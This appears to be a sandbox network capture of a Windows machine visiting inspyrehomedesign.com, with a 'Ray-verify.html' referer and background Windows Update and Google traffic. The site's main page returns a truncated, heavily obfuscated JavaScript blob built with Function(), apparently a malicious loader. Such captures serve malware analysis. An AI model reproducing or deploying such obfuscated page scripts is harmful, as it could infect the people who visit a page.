2024-10-28 18:45:15 UTC	613	OUT	GET /favicon.ico HTTP/1.1 Host: inspyrehomedesign.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://inspyrehomedesign.com/Ray-verify.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 18:45:15 UTC	170	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.2 Date: Mon, 28 Oct 2024 18:45:15 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 284 Connection: close
2024-10-28 18:45:15 UTC	284	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 69 6e 73 70 79 72 65 68 6f 6d 65 64 65 73 69 67 6e 2e 63 6f 6d 20 50 6f 72 74 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at inspyrehomedesign.com Port

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49712	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:45:23 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-28 18:45:23 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=165657 Date: Mon, 28 Oct 2024 18:45:23 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49713	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:45:24 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-28 18:45:25 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=151870 Date: Mon, 28 Oct 2024 18:45:24 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-28 18:45:25 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49714	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:45:26 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=raZlZsppxEvfrBh&MD=OrKVw8+R HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-28 18:45:27 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 37c42236-e73d-484d-b27d-02d3bcfef9b5 MS-RequestId: a68c592c-8736-48a4-bfc0-70ccb2ca9f0f MS-CV: Tw6rEsPhvkGPRaLk.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 28 Oct 2024 18:45:26 GMT Connection: close Content-Length: 24490
2024-10-28 18:45:27 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-28 18:45:27 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49715	172.217.16.196	443	6832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:45:31 UTC	613	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIkqHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 18:45:31 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:45:31 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-Ad_8QMAajnygl2maybIahw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-28 18:45:31 UTC	112	IN	Data Raw: 33 30 31 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 65 70 69 73 6f 64 65 20 37 20 74 75 6c 73 61 20 6b 69 6e 67 22 2c 22 61 70 70 6c 65 20 69 6e 74 65 6c 6c 69 67 65 6e 63 65 20 69 6f 73 20 31 38 2e 31 22 2c 22 62 61 6c 74 69 6d 6f 72 65 20 72 61 76 65 6e 73 20 76 73 20 63 6c 65 76 65 6c 61 6e 64 20 62 72 6f 77 6e 73 22 2c 22 6d 6f 72 74 Data Ascii: 301)]}'["",["episode 7 tulsa king","apple intelligence ios 18.1","baltimore ravens vs cleveland browns","mort
2024-10-28 18:45:31 UTC	664	IN	Data Raw: 67 61 67 65 20 72 61 74 65 73 20 74 6f 64 61 79 22 2c 22 70 6f 70 65 20 66 72 61 6e 63 69 73 20 73 79 6e 6f 64 22 2c 22 76 69 64 65 6f 73 22 2c 22 63 61 72 6f 6c 69 6e 61 20 70 61 6e 74 68 65 72 73 20 64 65 6e 76 65 72 20 62 72 6f 6e 63 6f 73 22 2c 22 61 6d 65 72 69 63 61 6e 20 61 69 72 6c 69 6e 65 73 20 62 72 69 73 62 61 6e 65 20 66 6c 69 67 68 74 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 Data Ascii: gage rates today","pope francis synod","videos","carolina panthers denver broncos","american airlines brisbane flight"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u0
2024-10-28 18:45:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49716	166.1.160.75	443	6832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:45:32 UTC	664	OUT	GET / HTTP/1.1 Host: inspyrehomedesign.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 18:45:33 UTC	280	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Mon, 28 Oct 2024 18:45:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 67842 Connection: close Last-Modified: Sun, 27 Oct 2024 22:53:27 GMT ETag: "10902-6257d3868c74e" Accept-Ranges: bytes Vary: Accept-Encoding
2024-10-28 18:45:33 UTC	16104	IN	Data Raw: 3c 73 63 72 69 70 74 3e 3b 46 75 6e 63 74 69 6f 6e 28 22 27 65 2b 76 5b 2a 79 25 35 5d 32 35 39 34 2a 7b 79 63 73 7a 23 6a 61 25 74 77 74 72 2a 40 74 77 63 7b 5f 21 5d 7e 6f 77 37 5b 5f 21 2e 6e 25 6e 2d 37 68 5e 71 65 78 2c 39 26 70 74 2c 76 2b 37 79 21 76 70 32 31 35 2d 2c 61 67 75 77 65 6d 36 2e 71 35 36 31 2a 34 78 2e 37 61 40 6b 6c 79 21 65 73 65 6d 38 39 75 72 6b 2e 2e 6e 34 66 7b 7a 7b 68 67 6a 6c 66 26 32 68 6f 25 6b 26 21 67 32 61 35 71 37 68 70 71 6e 33 2b 2d 67 63 7d 32 5b 34 2e 5e 6e 21 78 34 36 23 2a 70 66 2d 74 70 25 38 2b 68 66 2d 7d 7d 25 5f 6b 7e 40 39 6a 74 7d 65 5d 65 23 39 65 35 67 37 6b 37 76 6c 36 6f 34 32 35 69 2c 65 5d 2c 69 32 7e 79 31 75 6c 72 6d 65 6b 63 75 63 35 61 7a 6c 36 31 5e 65 5f 6b 65 6f 2d 7b 2a 25 70 23 74 6d 25 7d 77 Data Ascii: <script>;Function("'e+v[y%5]2594{ycsz#ja%twtr@twc{_!]~ow7[_!.n%n-7h^qex,9&pt,v+7y!vp215-,aguwem6.q5614x.7a@kly!esem89urk..n4f{z{hgjlf&2ho%k&!g2a5q7hpqn3+-gc}2[4.^n!x46#pf-tp%8+hf-}}%_k~@9jt}e]e#9e5g7k7vl6o425i,e],i2~y1ulrmekcuc5azl61^e_keo-{%p#tm%}w
2024-10-28 18:45:33 UTC	16384	IN	Data Raw: 39 38 43 44 32 30 39 30 34 30 37 44 65 63 35 33 62 66 36 31 61 33 64 66 36 32 63 66 33 63 61 39 31 36 38 33 46 30 35 44 43 41 33 37 41 34 31 31 63 31 33 61 41 34 31 34 38 34 59 39 2e 63 37 43 32 63 39 39 51 36 34 38 38 34 4a 37 37 34 58 31 34 58 62 62 32 38 39 35 50 32 36 66 64 63 34 39 62 36 37 37 44 35 35 35 59 58 58 34 38 35 46 44 36 37 44 32 34 36 37 46 44 32 38 32 66 31 36 37 44 41 33 38 62 32 58 38 32 34 41 37 31 34 38 31 58 58 35 62 43 38 33 35 41 32 4d 66 37 63 65 39 35 36 31 61 37 39 65 31 35 58 62 66 66 65 35 31 43 46 33 59 41 38 2e 61 38 44 43 39 34 63 59 39 32 36 39 33 50 30 36 44 64 61 34 37 62 34 32 31 38 58 46 59 59 38 31 36 38 36 46 33 36 35 44 37 33 64 37 44 44 30 34 65 59 43 36 37 44 43 66 31 36 58 63 62 34 39 62 37 36 32 64 37 58 43 36 Data Ascii: 98CD2090407Dec53bf61a3df62cf3ca91683F05DCA37A411c13aA41484Y9.c7C2c99Q64884J774X14Xbb2895P26fdc49b677D555YXX485FD67D2467FD282f167DA38b2X824A71481XX5bC835A2Mf7ce9561a79e15Xbffe51CF3YA8.a8DC94cY92693P06Dda47b4218XFYY81686F365D73d7DD04eYC67DCf16Xcb49b762d7XC6
2024-10-28 18:45:33 UTC	16384	IN	Data Raw: 38 38 28 38 37 34 65 31 34 39 59 35 66 32 32 62 41 58 31 59 38 38 46 35 36 32 63 66 33 63 61 39 31 36 38 33 66 30 35 44 65 36 34 36 58 41 36 30 63 64 33 66 39 44 31 37 35 30 38 39 5f 63 37 39 58 36 35 33 63 30 32 64 39 61 5b 37 39 30 46 30 39 32 4d 34 37 58 62 33 56 32 36 66 44 43 34 39 62 36 32 33 39 30 46 44 35 34 44 37 34 34 62 31 31 58 41 37 7c 37 41 39 31 62 39 35 43 41 4a 33 36 66 64 63 37 63 31 64 35 38 41 44 36 32 63 33 34 31 41 59 65 33 35 31 62 31 35 66 39 41 64 33 34 30 44 46 37 34 65 36 36 30 37 37 32 37 39 64 46 46 37 58 58 59 32 32 37 34 32 35 39 62 7c 38 37 61 64 38 35 32 36 66 44 41 39 39 47 33 36 44 44 33 31 38 36 41 31 38 39 31 66 64 37 30 63 65 34 34 59 37 31 39 38 59 66 30 36 36 38 36 51 46 37 41 7e 66 38 31 66 62 31 32 43 32 33 38 39 Data Ascii: 88(874e149Y5f22bAX1Y88F562cf3ca91683f05De646XA60cd3f9D175089_c79X653c02d9a[790F092M47Xb3V26fDC49b62390FD54D744b11XA7\|7A91b95CAJ36fdc7c1d58AD62c341AYe351b15f9Ad340DF74e66077279dFF7XXY2274259b\|87ad8526fDA99G36DD3186A1891fd70ce44Y7198Yf06686QF7A~f81fb12C2389
2024-10-28 18:45:33 UTC	16384	IN	Data Raw: 5c 5c 22 23 20 5a 61 28 69 6a 69 21 3a 3d 72 62 5a 47 24 25 72 7a 4a 5c 5c 5c 5c 5c 5c 5c 22 20 33 61 5c 5c 5c 5c 5c 5c 5c 5c 4e 4c 6a 69 65 51 7d 6f 3a 3d 7c 6c 78 49 4f 49 5a 70 63 52 4f 6e 33 64 5c 5c 5c 5c 5c 5c 5c 5c 52 5c 5c 5c 5c 5c 5c 5c 5c 32 4b 2e 34 4f 4b 2f 4f 5f 6b 4b 48 3a 3d 25 6a 5d 34 5d 28 7a 7e 31 7c 32 5d 27 2b 2e 23 7d 6c 4b 31 2f 20 72 7b 23 7d 26 28 70 61 34 21 25 47 3a 3d 20 7c 27 70 61 5d 31 25 7a 2b 7d 2f 6a 4b 34 3a 3d 72 64 78 49 6f 51 61 6b 34 68 4f 67 60 3d 50 4d 34 48 3a 28 60 5b 68 4a 4b 30 30 29 64 6e 7d 23 70 7e 5d 6d 30 62 62 33 6e 7b 2a 70 23 7e 47 3a 3d 30 23 70 60 6e 4b 34 5d 5b 62 7b 64 3d 68 4a 78 49 3a 4c 5c 5c 5c 5c 5c 5c 5c 22 60 4a 4a 49 5f 52 7e 52 4b 61 7b 23 6f 3a 3d 50 5c 5c 5c 5c 5c 5c 5c 5c 2b 48 68 60 27 Data Ascii: \\"# Za(iji!:=rbZG$%rzJ\\\\\\\" 3a\\\\\\\\NLjieQ}o:=\|lxIOIZpcROn3d\\\\\\\\R\\\\\\\\2K.4OK/O_kKH:=%j]4](z~1\|2]'+.#}lK1/ r{#}&(pa4!%G:= \|'pa]1%z+}/jK4:=rdxIoQak4hOg`=PM4H:(`[hJK00)dn}#p~]m0bb3n{*p#~G:=0#p`nK4][b{d=hJxI:L\\\\\\\"`JJI_R~RKa{#o:=P\\\\\\\\+Hh`'
2024-10-28 18:45:33 UTC	2586	IN	Data Raw: 68 4b 4c 4e 28 4d 21 4b 4c 4e 65 51 5d 71 21 4c 5c 5c 5c 5c 5c 5c 5c 22 42 44 44 6d 78 35 5d 30 28 4e 5c 5c 5c 5c 5c 5c 5c 22 4d 7d 21 51 52 4e 62 7b 2d 33 6b 4e 4d 4a 28 7c 33 33 29 6c 51 62 6d 52 4c 5d 65 50 6e 49 60 72 5d 49 67 65 5c 5c 5c 5c 5c 5c 5c 5c 44 61 64 6b 78 56 71 7c 51 62 6a 7b 66 4a 4c 3d 78 74 63 78 47 64 4d 70 5a 6d 4b 51 32 49 4a 5d 50 33 52 49 69 27 4d 69 2f 5d 69 7e 6e 29 23 50 2b 4c 6a 69 4d 50 51 25 6d 4f 4e 50 4c 51 7a 41 76 49 2e 7a 66 78 74 5c 5c 5c 5c 5c 5c 5c 22 78 47 3d 65 71 66 4f 49 4f 60 4a 4f 7e 2b 4c 31 66 4f 4c 6e 61 4f 52 6f 68 4e 6b 2d 51 6a 6f 50 4d 60 33 7d 24 23 21 50 25 7c 73 65 27 66 41 76 5c 5c 5c 5c 5c 5c 5c 22 2e 7a 3d 78 74 6d 78 47 4d 4b 51 4e 4b 2a 5d 34 31 5c 5c 5c 5c 5c 5c 5c 5c 4f 71 71 31 4e 4e 7a 49 4c Data Ascii: hKLN(M!KLNeQ]q!L\\\\\\\"BDDmx5]0(N\\\\\\\"M}!QRNb{-3kNMJ(\|33)lQbmRL]ePnI`r]Ige\\\\\\\\DadkxVq\|Qbj{fJL=xtcxGdMpZmKQ2IJ]P3RIi'Mi/]i~n)#P+LjiMPQ%mONPLQzAvI.zfxt\\\\\\\"xG=eqfOIO`JO~+L1fOLnaORohNk-QjoPM`3}$#!P%\|se'fAv\\\\\\\".z=xtmxGMKQNK*]41\\\\\\\\Oqq1NNzIL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49720	162.19.58.157	443	6832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:45:34 UTC	587	OUT	GET /t8b1Qdw/1q.png HTTP/1.1 Host: i.ibb.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://inspyrehomedesign.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 18:45:34 UTC	378	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 18:45:34 GMT Content-Type: image/png Content-Length: 1606 Connection: close Last-Modified: Sun, 22 Sep 2024 08:57:32 GMT Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cache-Control: public Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Accept-Ranges: bytes
2024-10-28 18:45:34 UTC	1606	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 50 00 00 00 20 08 06 00 00 00 85 33 ff 6c 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c2 00 00 0e c2 01 15 28 4a 80 00 00 05 db 49 44 41 54 68 43 ed 98 7f 48 95 57 18 c7 bf e7 5e 75 5a 4c 67 33 75 b6 d4 8c 6d 45 36 9a d6 dc 62 15 a3 19 ee 8f 8c f2 07 23 1a 44 9b 6c 84 14 54 7f 88 e0 46 04 95 54 b8 a0 d8 b0 1f 90 9a 25 43 72 56 8a e8 30 63 ac 94 22 cd e9 72 6c c3 89 cd 5f 91 4c cb df f7 3d 7b ce f1 bc ef ee f5 e7 35 ef 58 af bb 1f 79 3c ef f3 3c e7 bc ef bd cf 39 cf 73 ce 7b d9 d0 d0 10 87 9b 67 c6 a2 5a 37 cf 88 3b 80 b3 e4 ff 91 c2 5d 4d b0 dd cd 05 6f 28 06 86 fb c1 5e 0c 02 02 5e 07 7b 65 25 d8 8a 78 b0 97 97 aa 8e 33 67 Data Ascii: PNGIHDRP 3lsRGBgAMAapHYs(JIDAThCHW^uZLg3umE6b#DlTFT%CrV0c"rl_L={5Xy<<9s{gZ7;]Mo(^^{e%x3g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49722	169.197.85.95	443	6832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:45:35 UTC	346	OUT	GET /t8b1Qdw/1q.png HTTP/1.1 Host: i.ibb.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 18:45:35 UTC	378	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 18:45:35 GMT Content-Type: image/png Content-Length: 1606 Connection: close Last-Modified: Sun, 22 Sep 2024 08:57:32 GMT Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cache-Control: public Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Accept-Ranges: bytes
2024-10-28 18:45:35 UTC	1606	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 50 00 00 00 20 08 06 00 00 00 85 33 ff 6c 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c2 00 00 0e c2 01 15 28 4a 80 00 00 05 db 49 44 41 54 68 43 ed 98 7f 48 95 57 18 c7 bf e7 5e 75 5a 4c 67 33 75 b6 d4 8c 6d 45 36 9a d6 dc 62 15 a3 19 ee 8f 8c f2 07 23 1a 44 9b 6c 84 14 54 7f 88 e0 46 04 95 54 b8 a0 d8 b0 1f 90 9a 25 43 72 56 8a e8 30 63 ac 94 22 cd e9 72 6c c3 89 cd 5f 91 4c cb df f7 3d 7b ce f1 bc ef ee f5 e7 35 ef 58 af bb 1f 79 3c ef f3 3c e7 bc ef bd cf 39 cf 73 ce 7b d9 d0 d0 10 87 9b 67 c6 a2 5a 37 cf 88 3b 80 b3 e4 ff 91 c2 5d 4d b0 dd cd 05 6f 28 06 86 fb c1 5e 0c 02 02 5e 07 7b 65 25 d8 8a 78 b0 97 97 aa 8e 33 67 Data Ascii: PNGIHDRP 3lsRGBgAMAapHYs(JIDAThCHW^uZLg3umE6b#DlTFT%CrV0c"rl_L={5Xy<<9s{gZ7;]Mo(^^{e%x3g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49723	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:46:04 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=raZlZsppxEvfrBh&MD=OrKVw8+R HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
